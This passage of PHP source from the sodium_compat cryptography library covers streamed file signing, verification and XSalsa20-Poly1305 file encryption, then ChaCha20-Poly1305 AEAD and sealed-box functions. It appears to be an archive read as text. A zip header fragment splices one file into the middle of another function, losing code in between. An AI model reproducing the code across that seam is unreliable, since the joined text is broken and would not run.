!== 0) { throw new SodiumException('Invalid signature'); } $d = 0; for ($i = 0; $i < 32; ++$i) { $d |= self::chrToInt($publicKey[$i]); } if ($d === 0) { throw new SodiumException('All zero public key'); } if (!file_exists($filePath)) { throw new SodiumException('File does not exist'); } /** @var int $size */ $size = filesize($filePath); if (!is_int($size)) { throw new SodiumException('Could not obtain the file size'); } /** @var resource $fp */ $fp = fopen($filePath, 'rb'); if (!is_resource($fp)) { throw new SodiumException('Could not open input file for reading'); } /** @var bool The original value of ParagonIE_Sodium_Compat::$fastMult */ $orig = ParagonIE_Sodium_Compat::$fastMult; // Set ParagonIE_Sodium_Compat::$fastMult to true to speed up verification. ParagonIE_Sodium_Compat::$fastMult = true; if (ParagonIE_Sodium_Core_Ed25519::small_order($publicKey)) { throw new SodiumException('Public key has small order'); } /** @var ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A */ $A = ParagonIE_Sodium_Core_Ed25519::ge_frombytes_negate_vartime($publicKey); if (!ParagonIE_Sodium_Core_Ed25519::is_on_main_subgroup($A)) { throw new SodiumException('Public key is not on a member of the main subgroup'); } $hs = hash_init('sha512'); self::hash_update($hs, self::substr($sig, 0, 32)); self::hash_update($hs, self::substr($publicKey, 0, 32)); /** @var resource $hs */ $hs = self::updateHashWithFile($hs, $fp, $size); /** @var string $hDigest */ $hDigest = hash_final($hs, true); /** @var string $h */ $h = ParagonIE_Sodium_Core_Ed25519::sc_reduce($hDigest) . self::substr($hDigest, 32); /** @var ParagonIE_Sodium_Core_Curve25519_Ge_P2 $R */ $R = ParagonIE_Sodium_Core_Ed25519::ge_double_scalarmult_vartime( $h, $A, self::substr($sig, 32) ); /** @var string $rcheck */ $rcheck = ParagonIE_Sodium_Core_Ed25519::ge_tobytes($R); // Close the file handle fclose($fp); // Reset ParagonIE_Sodium_Compat::$fastMult to what it was before. ParagonIE_Sodium_Compat::$fastMult = $orig; return self::verify_32($rcheck, self::substr($sig, 0, 32)); } /** * @param resource $ifp * @param resource $ofp * @param int $mlen * @param string $nonce * @param string $boxKeypair * @return bool * @throws SodiumException * @throws TypeError */ protected static function box_encrypt($ifp, $ofp, $mlen, $nonce, $boxKeypair) { if (PHP_INT_SIZE === 4) { return self::secretbox_encrypt( $ifp, $ofp, $mlen, $nonce, ParagonIE_Sodium_Crypto32::box_beforenm( ParagonIE_Sodium_Crypto32::box_secretkey($boxKeypair), ParagonIE_Sodium_Crypto32::box_publickey($boxKeypair) ) ); } return self::secretbox_encrypt( $ifp, $ofp, $mlen, $nonce, ParagonIE_Sodium_Crypto::box_beforenm( ParagonIE_Sodium_Crypto::box_secretkey($boxKeypair), ParagonIE_Sodium_Crypto::box_publickey($boxKeypair) ) ); } /** * @param resource $ifp * @param resource $ofp * @param int $mlen * @param string $nonce * @param string $boxKeypair * @return bool * @throws SodiumException * @throws TypeError */ protected static function box_decrypt($ifp, $ofp, $mlen, $nonce, $boxKeypair) { if (PHP_INT_SIZE === 4) { return self::secretbox_decrypt( $ifp, $ofp, $mlen, $nonce, ParagonIE_Sodium_Crypto32::box_beforenm( ParagonIE_Sodium_Crypto32::box_secretkey($boxKeypair), ParagonIE_Sodium_Crypto32::box_publickey($boxKeypair) ) ); } return self::secretbox_decrypt( $ifp, $ofp, $mlen, $nonce, ParagonIE_Sodium_Crypto::box_beforenm( ParagonIE_Sodium_Crypto::box_secretkey($boxKeypair), ParagonIE_Sodium_Crypto::box_publickey($boxKeypair) ) ); } /** * Encrypt a file * * @param resource $ifp * @param resource $ofp * @param int $mlen * @param string $nonce * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ protected static function secretbox_encrypt($ifp, $ofp, $mlen, $nonce, $key) { if (PHP_INT_SIZE === 4) { return self::secretbox_encrypt_core32($ifp, $ofp, $mlen, $nonce, $key); } $plaintext = fread($ifp, 32); if (!is_string($plaintext)) { throw new SodiumException('Could not read input file'); } $first32 = self::ftell($ifp); /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key); /** @var string $realNonce */ $realNonce = ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8); /** @var string $block0 */ $block0 = str_repeat("\x00", 32); /** @var int $mlen - Length of the plaintext message */ $mlen0 = $mlen; if ($mlen0 > 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES) { $mlen0 = 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES; } $block0 .= ParagonIE_Sodium_Core_Util::substr($plaintext, 0, $mlen0); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core_Salsa20::salsa20_xor( $block0, $realNonce, $subkey ); $state = new ParagonIE_Sodium_Core_Poly1305_State( ParagonIE_Sodium_Core_Util::substr( $block0, 0, ParagonIE_Sodium_Crypto::onetimeauth_poly1305_KEYBYTES ) ); // Pre-write 16 blank bytes for the Poly1305 tag $start = self::ftell($ofp); fwrite($ofp, str_repeat("\x00", 16)); /** @var string $c */ $cBlock = ParagonIE_Sodium_Core_Util::substr( $block0, ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES ); $state->update($cBlock); fwrite($ofp, $cBlock); $mlen -= 32; /** @var int $iter */ $iter = 1; /** @var int $incr */ $incr = self::BUFFER_SIZE >> 6; /* * Set the cursor to the end of the first half-block. All future bytes will * generated from salsa20_xor_ic, starting from 1 (second block). */ fseek($ifp, $first32, SEEK_SET); while ($mlen > 0) { $blockSize = $mlen > self::BUFFER_SIZE ? self::BUFFER_SIZE : $mlen; $plaintext = fread($ifp, $blockSize); if (!is_string($plaintext)) { throw new SodiumException('Could not read input file'); } $cBlock = ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic( $plaintext, $realNonce, $iter, $subkey ); fwrite($ofp, $cBlock, $blockSize); $state->update($cBlock); $mlen -= $blockSize; $iter += $incr; } try { ParagonIE_Sodium_Compat::memzero($block0); ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $block0 = null; $subkey = null; } $end = self::ftell($ofp); /* * Write the Poly1305 authentication tag that provides integrity * over the ciphertext (encrypt-then-MAC) */ fseek($ofp, $start, SEEK_SET); fwrite($ofp, $state->finish(), ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_MACBYTES); fseek($ofp, $end, SEEK_SET); unset($state); return true; } /** * Decrypt a file * * @param resource $ifp * @param resource $ofp * @param int $mlen * @param string $nonce * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ protected static function secretbox_decrypt($ifp, $ofp, $mlen, $nonce, $key) { if (PHP_INT_SIZE === 4) { return self::secretbox_decrypt_core32($ifp, $ofp, $mlen, $nonce, $key); } $tag = fread($ifp, 16); if (!is_string($tag)) { throw new SodiumException('Could not read input file'); } /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key); /** @var string $realNonce */ $realNonce = ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core_Salsa20::salsa20( 64, ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8), $subkey ); /* Verify the Poly1305 MAC -before- attempting to decrypt! */ $state = new ParagonIE_Sodium_Core_Poly1305_State(self::substr($block0, 0, 32)); if (!self::onetimeauth_verify($state, $ifp, $tag, $mlen)) { throw new SodiumException('Invalid MAC'); } /* * Set the cursor to the end of the first half-block. All future bytes will * generated from salsa20_xor_ic, starting from 1 (second block). */ $first32 = fread($ifp, 32); if (!is_string($first32)) { throw new SodiumException('Could not read input file'); } $first32len = self::strlen($first32); fwrite( $ofp, self::xorStrings( self::substr($block0, 32, $first32len), self::substr($first32, 0, $first32len) ) ); $mlen -= 32; /** @var int $iter */ $iter = 1; /** @var int $incr */ $incr = self::BUFFER_SIZE >> 6; /* Decrypts ciphertext, writes to output file. */ while ($mlen > 0) { $blockSize = $mlen > self::BUFFER_SIZE ? self::BUFFER_SIZE : $mlen; $ciphertext = fread($ifp, $blockSize); if (!is_string($ciphertext)) { throw new SodiumException('Could not read input file'); } $pBlock = ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic( $ciphertext, $realNonce, $iter, $subkey ); fwrite($ofp, $pBlock, $blockSize); $mlen -= $blockSize; $iter += $incr; } return true; } /** * @param ParagonIE_Sodium_Core_Poly1305_State $state * @param resource $ifp * @param string $tag * @param int $mlen * @return bool * @throws SodiumException * @throws TypeError */ protected static function onetimeauth_verify( ParagonIE_Sodium_Core_Poly1305_State $state, $ifp, $tag = '', $mlen = 0 ) { /** @var int $pos */ $pos = self::ftell($ifp); /** @var int $iter */ $iter = 1; /** @var int $incr */ $incr = self::BUFFER_SIZE >> 6; while ($mlen > 0) { $blockSize = $mlen > self::BUFFER_SIZE ? self::BUFFER_SIZE : $mlen; $ciphertext = fread($ifp, $blockSize); if (!is_string($ciphertext)) { throw new SodiumException('Could not read input file'); } $state->update($ciphertext); $mlen -= $blockSize; $iter += $incr; } $res = ParagonIE_Sodium_Core_Util::verify_16($tag, $state->finish()); fseek($ifp, $pos, SEEK_SET); return $res; } /** * Update a hash context with the contents of a file, without * loading the entire file into memory. * * @param resource|HashContext $hash * @param resource $fp * @param int $size * @return resource|object Resource on PHP < 7.2, HashContext object on PHP >= 7.2 * @throws SodiumException * @throws TypeError * @psalm-suppress PossiblyInvalidArgument * PHP 7.2 changes from a resource to an object, * which causes Psalm to complain about an error. * @psalm-suppress TypeCoercion * Ditto. */ public static function updateHashWithFile($hash, $fp, $size = 0) { /* Type checks: */ if (PHP_VERSION_ID < 70200) { if (!is_resource($hash)) { throw new TypeError('Argument 1 must be a resource, ' . gettype($hash) . ' given.'); } } else { if (!is_object($hash)) { throw new TypeError('Argument 1 must be an object (PHP 7.2+), ' . gettype($hash) . ' given.'); } } if (!is_resource($fp)) { throw new TypeError('Argument 2 must be a resource, ' . gettype($fp) . ' given.'); } if (!is_int($size)) { throw new TypeError('Argument 3 must be an integer, ' . gettype($size) . ' given.'); } /** @var int $originalPosition */ $originalPosition = self::ftell($fp); // Move file pointer to beginning of file fseek($fp, 0, SEEK_SET); for ($i = 0; $i < $size; $i += self::BUFFER_SIZE) { /** @var string|bool $message */ $message = fread( $fp, ($size - $i) > self::BUFFER_SIZE ? $size - $i : self::BUFFER_SIZE ); if (!is_string($message)) { throw new SodiumException('Unexpected error reading from file.'); } /** @var string $message */ /** @psalm-suppress InvalidArgument */ self::hash_update($hash, $message); } // Reset file pointer's position fseek($fp, $originalPosition, SEEK_SET); return $hash; } /** * Sign a file (rather than a string). Uses less memory than * ParagonIE_Sodium_Compat::crypto_sign_detached(), but produces * the same result. (32-bit) * * @param string $filePath Absolute path to a file on the filesystem * @param string $secretKey Secret signing key * * @return string Ed25519 signature * @throws SodiumException * @throws TypeError */ private static function sign_core32($filePath, $secretKey) { $size = filesize($filePath); if (!is_int($size)) { throw new SodiumException('Could not obtain the file size'); } $fp = fopen($filePath, 'rb'); if (!is_resource($fp)) { throw new SodiumException('Could not open input file for reading'); } /** @var string $az */ $az = hash('sha512', self::substr($secretKey, 0, 32), true); $az[0] = self::intToChr(self::chrToInt($az[0]) & 248); $az[31] = self::intToChr((self::chrToInt($az[31]) & 63) | 64); $hs = hash_init('sha512'); self::hash_update($hs, self::substr($az, 32, 32)); /** @var resource $hs */ $hs = self::updateHashWithFile($hs, $fp, $size); $nonceHash = hash_final($hs, true); $pk = self::substr($secretKey, 32, 32); $nonce = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($nonceHash) . self::substr($nonceHash, 32); $sig = ParagonIE_Sodium_Core32_Ed25519::ge_p3_tobytes( ParagonIE_Sodium_Core32_Ed25519::ge_scalarmult_base($nonce) ); $hs = hash_init('sha512'); self::hash_update($hs, self::substr($sig, 0, 32)); self::hash_update($hs, self::substr($pk, 0, 32)); /** @var resource $hs */ $hs = self::updateHashWithFile($hs, $fp, $size); $hramHash = hash_final($hs, true); $hram = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($hramHash); $sigAfter = ParagonIE_Sodium_Core32_Ed25519::sc_muladd($hram, $az, $nonce); /** @var string $sig */ $sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32); try { ParagonIE_Sodium_Compat::memzero($az); } catch (SodiumException $ex) { $az = null; } fclose($fp); return $sig; } /** * * Verify a file (rather than a string). Uses less memory than * ParagonIE_Sodium_Compat::crypto_sign_verify_detached(), but * produces the same result. (32-bit) * * @param string $sig Ed25519 signature * @param string $filePath Absolute path to a file on the filesystem * @param string $publicKey Signing public key * * @return bool * @throws SodiumException * @throws Exception */ public static function verify_core32($sig, $filePath, $publicKey) { /* Security checks */ if (ParagonIE_Sodium_Core32_Ed25519::check_S_lt_L(self::substr($sig, 32, 32))) { throw new SodiumException('S < L - Invalid signature'); } if (ParagonIE_Sodium_Core32_Ed25519::small_order($sig)) { throw new SodiumException('Signature is on too small of an order'); } if ((self::chrToInt($sig[63]) & 224) !== 0) { throw new SodiumException('Invalid signature'); } $d = 0; for ($i = 0; $i < 32; ++$i) { $d |= self::chrToInt($publicKey[$i]); } if ($d === 0) { throw new SodiumException('All zero public key'); } /** @var int|bool $size */ $size = filesize($filePath); if (!is_int($size)) { throw new SodiumException('Could not obtain the file size'); } /** @var int $size */ /** @var resource|bool $fp */ $fp = fopen($filePath, 'rb'); if (!is_resource($fp)) { throw new SodiumException('Could not open input file for reading'); } /** @var resource $fp */ /** @var bool The original value of ParagonIE_Sodium_Compat::$fastMult */ $orig = ParagonIE_Sodium_Compat::$fastMult; // Set ParagonIE_Sodium_Compat::$fastMult to true to speed up verification. ParagonIE_Sodium_Compat::$fastMult = true; /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A */ $A = ParagonIE_Sodium_Core32_Ed25519::ge_frombytes_negate_vartime($publicKey); $hs = hash_init('sha512'); self::hash_update($hs, self::substr($sig, 0, 32)); self::hash_update($hs, self::substr($publicKey, 0, 32)); /** @var resource $hs */ $hs = self::updateHashWithFile($hs, $fp, $size); /** @var string $hDigest */ $hDigest = hash_final($hs, true); /** @var string $h */ $h = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($hDigest) . self::substr($hDigest, 32); /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $R */ $R = ParagonIE_Sodium_Core32_Ed25519::ge_double_scalarmult_vartime( $h, $A, self::substr($sig, 32) ); /** @var string $rcheck */ $rcheck = ParagonIE_Sodium_Core32_Ed25519::ge_tobytes($R); // Close the file handle fclose($fp); // Reset ParagonIE_Sodium_Compat::$fastMult to what it was before. ParagonIE_Sodium_Compat::$fastMult = $orig; return self::verify_32($rcheck, self::substr($sig, 0, 32)); } /** * Encrypt a file (32-bit) * * @param resource $ifp * @param resource $ofp * @param int $mlen * @param string $nonce * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ protected static function secretbox_encrypt_core32($ifp, $ofp, $mlen, $nonce, $key) { $plaintext = fread($ifp, 32); if (!is_string($plaintext)) { throw new SodiumException('Could not read input file'); } $first32 = self::ftell($ifp); /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key); /** @var string $realNonce */ $realNonce = ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8); /** @var string $block0 */ $block0 = str_repeat("\x00", 32); /** @var int $mlen - Length of the plaintext message */ $mlen0 = $mlen; if ($mlen0 > 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES) { $mlen0 = 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES; } $block0 .= ParagonIE_Sodium_Core32_Util::substr($plaintext, 0, $mlen0); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor( $block0, $realNonce, $subkey ); $state = new ParagonIE_Sodium_Core32_Poly1305_State( ParagonIE_Sodium_Core32_Util::substr( $block0, 0, ParagonIE_Sodium_Crypto::onetimeauth_poly1305_KEYBYTES ) ); // Pre-write 16 blank bytes for the Poly1305 tag $start = self::ftell($ofp); fwrite($ofp, str_repeat("\x00", 16)); /** @var string $c */ $cBlock = ParagonIE_Sodium_Core32_Util::substr( $block0, ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES ); $state->update($cBlock); fwrite($ofp, $cBlock); $mlen -= 32; /** @var int $iter */ $iter = 1; /** @var int $incr */ $incr = self::BUFFER_SIZE >> 6; /* * Set the cursor to the end of the first half-block. All future bytes will * generated from salsa20_xor_ic, starting from 1 (second block). */ fseek($ifp, $first32, SEEK_SET); while ($mlen > 0) { $blockSize = $mlen > self::BUFFER_SIZE ? self::BUFFER_SIZE : $mlen; $plaintext = fread($ifp, $blockSize); if (!is_string($plaintext)) { throw new SodiumException('Could not read input file'); } $cBlock = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic( $plaintext, $realNonce, $iter, $subkey ); fwrite($ofp, $cBlock, $blockSize); $state->update($cBlock); $mlen -= $blockSize; $iter += $incr; } try { ParagonIE_Sodium_Compat::memzero($block0); ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $block0 = null; $subkey = null; } $end = self::ftell($ofp); /* * Write the Poly1305 authentication tag that provides integrity * over the ciphertext (encrypt-then-MAC) */ fseek($ofp, $start, SEEK_SET); fwrite($ofp, $state->finish(), ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_MACBYTES); fseek($ofp, $end, SEEK_SET); unset($state); return true; } /** * Decrypt a file (32-bit) * * @param resource $ifp * @param resource $ofp * @param int $mlen * @param string $nonce * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ protected static function secretbox_decrypt_core32($ifp, $ofp, $mlen, $nonce, $key) { $tag = fread($ifp, 16); if (!is_string($tag)) { throw new SodiumException('Could not read input file'); } /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key); /** @var string $realNonce */ $realNonce = ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20( 64, ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8), $subkey ); /* Verify the Poly1305 MAC -before- attempting to decrypt! */ $state = new ParagonIE_Sodium_Core32_Poly1305_State(self::substr($block0, 0, 32)); if (!self::onetimeauth_verify_core32($state, $ifp, $tag, $mlen)) { throw new SodiumException('Invalid MAC'); } /* * Set the cursor to the end of the first half-block. All future bytes will * generated from salsa20_xor_ic, starting from 1 (second block). */ $first32 = fread($ifp, 32); if (!is_string($first32)) { throw new SodiumException('Could not read input file'); } $first32len = self::strlen($first32); fwrite( $ofp, self::xorStrings( self::substr($block0, 32, $first32len), self::substr($first32, 0, $first32len) ) ); $mlen -= 32; /** @var int $iter */ $iter = 1; /** @var int $incr */ $incr = self::BUFFER_SIZE >> 6; /* Decrypts ciphertext, writes to output file. */ while ($mlen > 0) { $blockSize = $mlen > self::BUFFER_SIZE ? self::BUFFER_SIZE : $mlen; $ciphertext = fread($ifp, $blockSize); if (!is_string($ciphertext)) { throw new SodiumException('Could not read input file'); } $pBlock = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic( $ciphertext, $realNonce, $iter, $subkey ); fwrite($ofp, $pBlock, $blockSize); $mlen -= $blockSize; $iter += $incr; } return true; } /** * One-time message authentication for 32-bit systems * * @param ParagonIE_Sodium_Core32_Poly1305_State $state * @param resource $ifp * @param string $tag * @param int $mlen * @return bool * @throws SodiumException * @throws TypeError */ protected static function onetimeauth_verify_core32( ParagonIE_Sodium_Core32_Poly1305_State $state, $ifp, $tag = '', $mlen = 0 ) { /** @var int $pos */ $pos = self::ftell($ifp); while ($mlen > 0) { $blockSize = $mlen > self::BUFFER_SIZE ? self::BUFFER_SIZE : $mlen; $ciphertext = fread($ifp, $blockSize); if (!is_string($ciphertext)) { throw new SodiumException('Could not read input file'); } $state->update($ciphertext); $mlen -= $blockSize; } $res = ParagonIE_Sodium_Core32_Util::verify_16($tag, $state->finish()); fseek($ifp, $pos, SEEK_SET); return $res; } /** * @param resource $resource * @return int * @throws SodiumException */ private static function ftell($resource) { $return = ftell($resource); if (!is_int($return)) { throw new SodiumException('ftell() returned false'); } return (int) $return; } } PK!lsrc/SodiumException.phpnu[update($ad); $state->update(ParagonIE_Sodium_Core_Util::store64_le($adlen)); $state->update($ciphertext); $state->update(ParagonIE_Sodium_Core_Util::store64_le($clen)); $computed_mac = $state->finish(); /* Compare the given MAC with the recalculated MAC: */ if (!ParagonIE_Sodium_Core_Util::verify_16($computed_mac, $mac)) { throw new SodiumException('Invalid MAC'); } // Here, we know that the MAC is valid, so we decrypt and return the plaintext return ParagonIE_Sodium_Core_ChaCha20::streamXorIc( $ciphertext, $nonce, $key, ParagonIE_Sodium_Core_Util::store64_le(1) ); } /** * AEAD Encryption with ChaCha20-Poly1305 * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_chacha20poly1305_encrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { /** @var int $len - Length of the plaintext message */ $len = ParagonIE_Sodium_Core_Util::strlen($message); /** @var int $adlen - Length of the associated data */ $adlen = ParagonIE_Sodium_Core_Util::strlen($ad); /** @var string The first block of the chacha20 keystream, used as a poly1305 key */ $block0 = ParagonIE_Sodium_Core_ChaCha20::stream( 32, $nonce, $key ); $state = new ParagonIE_Sodium_Core_Poly1305_State($block0); try { ParagonIE_Sodium_Compat::memzero($block0); } catch (SodiumException $ex) { $block0 = null; } /** @var string $ciphertext - Raw encrypted data */ $ciphertext = ParagonIE_Sodium_Core_ChaCha20::streamXorIc( $message, $nonce, $key, ParagonIE_Sodium_Core_Util::store64_le(1) ); $state->update($ad); $state->update(ParagonIE_Sodium_Core_Util::store64_le($adlen)); $state->update($ciphertext); $state->update(ParagonIE_Sodium_Core_Util::store64_le($len)); return $ciphertext . $state->finish(); } /** * AEAD Decryption with ChaCha20-Poly1305, IETF mode (96-bit nonce) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_chacha20poly1305_ietf_decrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { /** @var int $adlen - Length of associated data */ $adlen = ParagonIE_Sodium_Core_Util::strlen($ad); /** @var int $len - Length of message (ciphertext + MAC) */ $len = ParagonIE_Sodium_Core_Util::strlen($message); /** @var int $clen - Length of ciphertext */ $clen = $len - self::aead_chacha20poly1305_IETF_ABYTES; /** @var string The first block of the chacha20 keystream, used as a poly1305 key */ $block0 = ParagonIE_Sodium_Core_ChaCha20::ietfStream( 32, $nonce, $key ); /** @var string $mac - Message authentication code */ $mac = ParagonIE_Sodium_Core_Util::substr( $message, $len - self::aead_chacha20poly1305_IETF_ABYTES, self::aead_chacha20poly1305_IETF_ABYTES ); /** @var string $ciphertext - The encrypted message (sans MAC) */ $ciphertext = ParagonIE_Sodium_Core_Util::substr( $message, 0, $len - self::aead_chacha20poly1305_IETF_ABYTES ); /* Recalculate the Poly1305 authentication tag (MAC): */ $state = new ParagonIE_Sodium_Core_Poly1305_State($block0); try { ParagonIE_Sodium_Compat::memzero($block0); } catch (SodiumException $ex) { $block0 = null; } $state->update($ad); $state->update(str_repeat("\x00", ((0x10 - $adlen) & 0xf))); $state->update($ciphertext); $state->update(str_repeat("\x00", (0x10 - $clen) & 0xf)); $state->update(ParagonIE_Sodium_Core_Util::store64_le($adlen)); $state->update(ParagonIE_Sodium_Core_Util::store64_le($clen)); $computed_mac = $state->finish(); /* Compare the given MAC with the recalculated MAC: */ if (!ParagonIE_Sodium_Core_Util::verify_16($computed_mac, $mac)) { throw new SodiumException('Invalid MAC'); } // Here, we know that the MAC is valid, so we decrypt and return the plaintext return ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc( $ciphertext, $nonce, $key, ParagonIE_Sodium_Core_Util::store64_le(1) ); } /** * AEAD Encryption with ChaCha20-Poly1305, IETF mode (96-bit nonce) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_chacha20poly1305_ietf_encrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { /** @var int $len - Length of the plaintext message */ $len = ParagonIE_Sodium_Core_Util::strlen($message); /** @var int $adlen - Length of the associated data */ $adlen = ParagonIE_Sodium_Core_Util::strlen($ad); /** @var string The first block of the chacha20 keystream, used as a poly1305 key */ $block0 = ParagonIE_Sodium_Core_ChaCha20::ietfStream( 32, $nonce, $key ); $state = new ParagonIE_Sodium_Core_Poly1305_State($block0); try { ParagonIE_Sodium_Compat::memzero($block0); } catch (SodiumException $ex) { $block0 = null; } /** @var string $ciphertext - Raw encrypted data */ $ciphertext = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc( $message, $nonce, $key, ParagonIE_Sodium_Core_Util::store64_le(1) ); $state->update($ad); $state->update(str_repeat("\x00", ((0x10 - $adlen) & 0xf))); $state->update($ciphertext); $state->update(str_repeat("\x00", ((0x10 - $len) & 0xf))); $state->update(ParagonIE_Sodium_Core_Util::store64_le($adlen)); $state->update(ParagonIE_Sodium_Core_Util::store64_le($len)); return $ciphertext . $state->finish(); } /** * AEAD Decryption with ChaCha20-Poly1305, IETF mode (96-bit nonce) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_xchacha20poly1305_ietf_decrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20( ParagonIE_Sodium_Core_Util::substr($nonce, 0, 16), $key ); $nonceLast = "\x00\x00\x00\x00" . ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8); return self::aead_chacha20poly1305_ietf_decrypt($message, $ad, $nonceLast, $subkey); } /** * AEAD Encryption with ChaCha20-Poly1305, IETF mode (96-bit nonce) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_xchacha20poly1305_ietf_encrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20( ParagonIE_Sodium_Core_Util::substr($nonce, 0, 16), $key ); $nonceLast = "\x00\x00\x00\x00" . ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8); return self::aead_chacha20poly1305_ietf_encrypt($message, $ad, $nonceLast, $subkey); } /** * HMAC-SHA-512-256 (a.k.a. the leftmost 256 bits of HMAC-SHA-512) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $key * @return string * @throws TypeError */ public static function auth($message, $key) { return ParagonIE_Sodium_Core_Util::substr( hash_hmac('sha512', $message, $key, true), 0, 32 ); } /** * HMAC-SHA-512-256 validation. Constant-time via hash_equals(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $mac * @param string $message * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ public static function auth_verify($mac, $message, $key) { return ParagonIE_Sodium_Core_Util::hashEquals( $mac, self::auth($message, $key) ); } /** * X25519 key exchange followed by XSalsa20Poly1305 symmetric encryption * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $plaintext * @param string $nonce * @param string $keypair * @return string * @throws SodiumException * @throws TypeError */ public static function box($plaintext, $nonce, $keypair) { $c = self::secretbox( $plaintext, $nonce, self::box_beforenm( self::box_secretkey($keypair), self::box_publickey($keypair) ) ); return $c; } /** * X25519-XSalsa20-Poly1305 with one ephemeral X25519 keypair. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $publicKey * @return string * @throws SodiumException * @throws TypeError */ public static function box_seal($message, $publicKey) { /** @var string $ephemeralKeypair */ $ephemeralKeypair = self::box_keypair(); /** @var string $ephemeralSK */ $ephemeralSK = self::box_secretkey($ephemeralKeypair); /** @var string $ephemeralPK */ $ephemeralPK = self::box_publickey($ephemeralKeypair); /** @var string $nonce */ $nonce = self::generichash( $ephemeralPK . $publicKey, '', 24 ); /** @var string $keypair - The combined keypair used in crypto_box() */ $keypair = self::box_keypair_from_secretkey_and_publickey($ephemeralSK, $publicKey); /** @var string $ciphertext Ciphertext + MAC from crypto_box */ $ciphertext = self::box($message, $nonce, $keypair); try { ParagonIE_Sodium_Compat::memzero($ephemeralKeypair); ParagonIE_Sodium_Compat::memzero($ephemeralSK); ParagonIE_Sodium_Compat::memzero($nonce); } catch (SodiumException $ex) { $ephemeralKeypair = null; $ephemeralSK = null; $nonce = null; } return $ephemeralPK . $ciphertext; } /** * Opens a message encrypted via box_seal(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $keypair * @return string * @throws SodiumException * @throws TypeError */ public static function box_seal_open($message, $keypair) { /** @var string $ephemeralPK */ $ephemeralPK = ParagonIE_Sodium_Core_Util::substr($message, 0, 32); /** @var string $ciphertext (ciphertext + MAC) */ $ciphertext = ParagonIE_Sodium_Core_Util::substr($message, 32); /** @var string $secretKey */ $secretKey = self::box_secretkey($keypair); /** @var string $publicKey */ $publicKey = self::box_publickey($keypair); /** @var string $nonce */ $nonce = self::generichash( $ephemeralPK . $publicKey, '', 24 ); /** @var string $keypair */ $keypair = self::box_keypair_from_secretkey_and_publickey($secretKey, $ephemeralPK); /** @var string $m */ $m = self::box_open($ciphertext, $nonce, $keypair); try { 